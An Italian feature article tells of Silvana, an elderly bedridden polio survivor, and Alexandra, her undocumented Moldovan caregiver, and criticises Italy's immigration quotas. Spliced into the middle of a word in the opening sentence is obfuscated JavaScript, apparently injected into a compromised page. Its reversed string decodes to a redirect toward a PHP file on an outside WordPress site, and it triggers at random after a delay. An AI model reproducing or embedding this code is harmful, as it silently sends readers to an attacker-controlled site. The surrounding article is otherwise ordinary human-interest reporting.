Un’amicizia fuori quota

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È gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande la distanza che ci separa da una persona anziana disabile. Lo capiamo quando incontriamo la signora Silvana nella sua stanza, dove uno straccio copre lo schermo della televisione accesa mentre dalle cuffie sul comodino arriva forte l’audio. “Ho come un francobollo sugli occhi, eppure il brillare dello schermo m’infastidisce”, ci racconta. O quando chiediamo a cosa serva sul letto quella specie di lenzuolo attorcigliato: “È per sollevarmi a sedere. Le gambe non hanno forza, e anche gli addominali non tengono più.” Silvana, che da otto anni vive costretta a letto, ha avuto la polio da bambina ma l’ha curata bene un famoso ortopedico fiorentino: Piero Palagi. Ha vissuto quasi normalmente, è stata prima lavorante, poi artigiana e infine ha avuto un negozio suo di merceria e confezioni. In casa era una cenerentola: fin da giovane la gamba non reggeva e lei spesso finiva a terra, facendosi anche seriamente male. Per la famiglia era una vergogna. La disabilità e i suoi diritti sono conquiste recenti. Due volte fratturata, e poi le operazioni al piede. Quando fissarono il primo intervento la sorella gemella si sposò. “Nessuno pensò a spostare la data della festa. Io da sola, all’ospedale, nei tormenti, che allora non c’erano i sedativi moderni. E tutti loro al convivio”. Ma lei resisteva grazie al grande entusiasmo per la vita, per il lavoro, per le lodi che riceveva da tutti. La sua fortuna è stata la scuola di taglio: “Le altre si vergognavano di fare le sartine e arrivavano con i modelli piegati in borsetta. Io li portavo trionfante sulle braccia, perché non si sciupassero!”. Silvana non si è mai risparmiata “La scuola era in via degli Alfani. Andavo in tram, ma per risparmiare sul biglietto salivo due fermate dopo. E durante la guerra andavo a piedi, dall’inizio di via Baracca”. Così anno dopo anno anche la gamba sana ha cominciato a cedere. Dopo sedici operazioni, tra gambe, occhi, orecchie e mani, non le è rimasto quasi più nulla che funzioni, a parte lo spirito con cui ci accoglie, e la grande lucidità per i nomi, per le date, e la voglia di raccontarsi.
È grande la distanza che ci separa da un disabile. Lo capiamo quando ci dice “la morte della mia gatta Nerina è stato il più grande dolore della mia vita. Nerina capiva tutto”. Dai racconti pare che il suo istinto felino avversasse la gemella di Silvana: “Non mi ha mai voluto bene. Sono due anni che non viene a trovarmi. Nerina, le rare volte in cui è venuta, le ringhiava”. L’adorata gatta nera, compagna di sedici anni di vita, è morta quattro anni fa, ma Silvana ha una sua teoria: “Se la materia è energia e l’energia è materia, allora Alexandra me l’ha mandata Nerina”. E Nerina continua a materializzarsi, perché Alexandra oggi ha portato un canarino bianco in una grande gabbia. È il regalo per la “badata”, che il 20 Giugno compie 83 anni. Silvana è quasi cieca e il canarino non lo potrà vedere. È anche molto sorda e non lo sente cantare mentre cinguetta in cucina. Una volta donato, il canarino rafforzerà ulteriormente il rapporto tra le due donne. Ventiquattrenne moldava, Alexandra ha raggiunto in Italia la madre che ha il permesso di soggiorno e lavoro. Ha lavorato da subito anche lei: pulizie, principalmente, e da quasi un anno si occupa di Silvana. “Quando Alexandra mi ha chiesto se potevate venire a trovarmi le ho detto: se vengono vuol dire che ti vogliono bene anche loro!”
La sorte di questa giovane immigrata ci ha riunite, e l’anziana è raggiante nel raccontarci tutto quanto. “Tutte le mattine alle otto arriva a portarmi la colazione. Poi mi lava gli occhi con la camomilla. E lava a mano le lenzuola, perché non ho la lavatrice. È bravissima. Cambia le lenzuola in continuazione e mi tiene fin troppo pulita!” Le circostanze le hanno sottratto molte facoltà fisiche ma delicatezza e pudore sono intatti: “Le cose brutte no, quelle le faccio da sola. Finché ce la faccio voglio risparmiarla”. Ci racconta che, dopo Nerina, la giovane badante è una delle due gioie della sua vita. L’altra è un’amica, pensionata, che si prende cura di tutto. “Ci eravamo perse di vista, io e la mia ex commessa. Ma quando ha saputo la situazione è tornata a cercarmi. Adesso pensa a tutto lei. È un angelo.” L’ultima spina per Silvana è l’irregolarità di Alexandra. “Dovete dirglielo che noi siamo disposti a fare tutto quello che c’è da fare perché Alexandra abbia il permesso. Non possono portarmela via”. Silvana non conosce la Bossi Fini, e noi sorvoliamo. Ma non le nascondiamo la verità: “Per quest’anno non è rientrata nelle quote, nonostante la proposta di lavoro. Riproveremo l’anno prossimo”. Silvana è protetta da Alexandra, che protegge a sua volta con un’istintiva prudenza “Quando esce io glielo dico: stai attenta ad attraversare, non dire nulla a nessuno, non dare confidenza!”
La legge è fatta con freddezza; è insensibile alle storie, alle persone e ai sentimenti che mette in gioco. Quella sugli immigrati poi, è una delle più spietatamente ideologiche della storia della Repubblica. Perché le quote? Perché escludere un immigrato che ha un datore di lavoro, una proposta concreta di assunzione e relazioni umane ormai solide? Non lo capiamo noi e nemmeno Silvana si rassegna: “Dobbiamo parlare a quei signori. Forse se spiegassimo loro quanto le vogliamo bene, e quanto è importante quello che sta facendo per noi, allora forse otterrebbe il permesso”.
Ci chiediamo quali possibilità esistano di metterla su questo piano con uno come Bossi, o come Fini. “Abbiamo fatto tutto quello che potevamo, ritenteremo l’anno prossimo” le rispondiamo. Ma Silvana nel suo candore ha colto l’unico criterio sensato con cui andrebbero affrontate le storie d’immigrazione.

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